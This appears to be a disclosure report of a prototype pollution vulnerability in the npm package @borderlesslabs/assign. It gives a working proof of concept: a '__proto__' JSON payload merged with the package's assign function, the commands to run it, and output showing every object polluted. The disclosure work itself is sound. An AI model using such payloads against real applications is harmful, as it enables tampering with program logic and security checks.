Prototype Pollution in borderlesslabs/assign

Valid

Reported on

Feb 9th 2021


Description

@borderlesslabs/assign is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var a = require("@borderlesslabs/assign")
const payload = JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
var obj = {}
console.log("Before : " + {}.polluted);
a.assign(obj, payload);
console.log("After : " + {}.polluted);
  1. Execute the following commands in terminal:
npm i @borderlesslabs/assign # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted
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